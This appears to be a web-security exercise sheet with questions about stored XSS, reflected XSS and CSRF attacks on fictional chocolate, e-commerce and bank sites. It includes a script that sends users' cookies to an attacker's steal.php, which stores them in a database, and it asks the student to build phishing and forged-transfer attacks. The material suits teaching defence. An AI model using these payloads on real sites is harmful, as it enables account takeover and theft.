Question 1: Samy, an attacker, wants to maintain a database of password cookies he has stolen from users of Harriet's website that sells world-renowned chocolates.

Samy logs into Harriet's website and posts a comment on the message board:

```
<script type="text/javascript">
document.location="http://www.samy.com/steal.php&password="
+ document.cookie + document.userID;
</script>
```

Additionally on his webpage www.samy.com, he writes a javascript file steal.php as follows:

```
<html>
<?php
   $dbname     = "password_database";
   $query      = "INSERT INTO password_table
                 user = $userID, value ='$user_cookie'";
   $result     = mysql_query($query);
?>

 <script type="text/javascript">
     document.location =
http://www.harriets-chocolates.com/forum";
 </script>
</html>
```

What kind of an attack is this?

- Persistent XSS
- Non-persistent XSS
- Cross-Site Request Forgery

Explain what the code above does:

Question 2: Margret runs an e-commerce site much like the site Harriet runs. Margret's site, however, does not have a forum; she instead maintains a mailing list of her site's users and sends out emails about sales on merchandise at her site.

When a user clicks on the link in Margret's email, they will be directed to Margret's website, which will display the name of the collection from the URL (Spring, in this case) at the top of the page and list all the items in that collection.

A typical email from Margret looks like:

From: Margret, margret@margretsonlinestore.com
Subject: Holiday Sales

Welcome to the Spring Collection Everyone!

I would like to remind you that we are having a sale on winter coats! Click the link below to view our tremendous selection:
http://www.margretsonlinestore.com/search.php?collection=Spring

Thanks!
Margret

Samy, the attacker, is also a regular user of Margret's site and is aware of the frequent emails regarding current sales. He decides to use his "steal.php" page to steal the login information from users of Margret's site also, giving him access to their billing information.

- How might Samy launch his attack?
- How can he ensure that it reaches Margret's customers?

Assume that Margret's customers have been notified that there might be phishing scams going on and that they should always check to see if the URL contains any suspicious text. How can Samy change his attack to make it seem more realistic?

Construct the type of attack that Samy might launch:

What kind of an attack is this?

A. Persistent XSS
B. Non-persistent XSS
C. Cross-Site Request Forgery

Question 3 Courtney, an attacker, has an account at the National Bank of Awesome. Her bank has typical services that are offered across most banks:

- Check your bank balance
- Make a transfer
- Setup investments, etc.

Also Bank of Awesome is trying out a new Smart Assistant that offers a message board for technical support.

Courtney logs in to transfer money between her checking and savings accounts, and realizes that the site processes the request via the following url: – www.bankofawesome.com/transfer.php?to=1000002?amount=50

- This indicates that she wishes to transfer $50.00 from the account she is currently logged into to account number 1000002 (her personal savings account).
- She decides that she would like to use this vulnerability to transfer money to her account from other people's accounts.
- To do this, she sends out a mass email, with the subject "Check out these cute pictures of my new puppy!" hoping that people will open the email.

Given the information you have, construct the body of the attack that Courtney's email will contain. How likely is her attack to succeed? What assumptions is she making as an attacker?

What kind of an attack is this?

D. Persistent XSS
E. Non-persistent XSS
F. Cross-Site Request Forgery

Courtney makes some money with this scheme, but not as much as she would like. She seemed to have overestimated the general public's eagerness to look at cute pictures of a stranger's puppy. She decides that a more effective method to achieve her goal would be to move her malicious attack to a place with a higher likelihood of being executed.

Where can she move her attack to?